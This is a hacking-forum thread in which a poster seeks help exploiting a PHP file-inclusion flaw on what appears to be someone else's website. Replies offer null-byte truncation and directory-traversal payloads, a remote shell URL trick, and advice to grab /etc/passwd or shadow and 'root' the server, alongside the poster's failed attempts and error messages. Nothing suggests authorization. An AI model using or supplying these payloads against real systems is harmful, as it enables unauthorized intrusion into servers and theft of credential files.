Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Exploit?


ghost's Avatar
0 0

I found function include some page.

The page looks like:

http://www.site.com/news/news.php?id=abcd

It generates error:

Warning: main() [function.include]: Failed opening 'newsabcd.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php')

The source probably looks like:

include 'news' . $GET['id'] . '.php'

So, I can't include my php file.

I tried googling for some help about htaccess that removes the php handeler, but I didn't get any help.

Can you give me some help in that?

Don't do google links. If you wanna help me, help me ;)


lukem_95's Avatar
Member
0 0

have you tried null byte? %00 on either the end or the beginning of the GET variable


SySTeM's Avatar
-=[TheOutlaw]=-
20 0

try: ../pageyouwannainclude.ext%00

The ../ should get rid of "news", and the %00 will get rid of the default extension.


ghost's Avatar
0 0

when you use the %00 (poison null byte) does it change it to like \0 or \00? If so then that is because their server is filtering it, but you can also try like

page.php?file=abcd?getridofphpextension=

this will put what ever is being appended onto the include statement, into a get variable


ghost's Avatar
0 0

system_meltdown wrote: try: ../pageyouwannainclude.ext%00

The ../ should get rid of "news", and the %00 will get rid of the default extension.

Warning: main() [function.include]: Failed opening 'news../http://www.mysite.com/myfile.php\0.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in

That is the error I get. I tried without 'http://' but I still get error.

chislam:

http://www.site.com/news/news.php?id=%00

Warning: main() [function.include]: Failed opening 'news\0.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in


ghost's Avatar
0 0

I think system was referring to local file inclusions


SySTeM's Avatar
-=[TheOutlaw]=-
20 0

Indeed I was lol


ghost's Avatar
0 0

So, do you have any Remote file inclusion idea?


ghost's Avatar
0 0

ok so that means that its filtering pnb's so try the method that i gave you lol


ghost's Avatar
0 0

Err, chislam, yours doesn't get rid of the stuff which it tacks onto the beginning of the string


ghost's Avatar
0 0

Try sticking a backslash at the start

I though of that cause

markupnews\http://google.com

Works on firefox


ghost's Avatar
0 0

ah ok my bad, i didn't realize that it was putting things before it. my bad :(

anyways, if just putting http://yourshell.php?asdf=url doesn't work try putting ../http://yourshell.php?asdf=

or just grab a local file like system was referring to.


ghost's Avatar
0 0

Why would adding ../ help?

All that does is goes up a directory in their filesystem


ghost's Avatar
0 0

I don't know, but its worth a shot. Might not work, and probably won't but if it did, you wouldn't know.


lukem_95's Avatar
Member
0 0

wow my little reply sparked off all this :D

have you tried grabbing etc/passwd or shadow?

you might get lucky and be able to root it…


ghost's Avatar
0 0

Firstly, all of your adding query strings do not work on the file system, therefore you need something else to end the files

Secondly, until you can find a protocol which begins with news, perhaps RSS? Then you wont be able to hack this, sorry,


ghost's Avatar
0 0

lukem_95 wrote: wow my little reply sparked off all this :D

have you tried grabbing etc/passwd or shadow?

you might get lucky and be able to root it…

I can't go up in directory. I can't move from '/news/'

EDIT:

I made subdomain on one site. news.mysite.com

I don' really need to get rid of php extension because my file is php.

I try http://www.site.com/news/news.php?id=.mysite.com/myfile

and I get error:

Warning: main() [function.include]: Failed opening 'news.mysite.com/myfile.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in

Damn. I guess I need http:// in the begining :(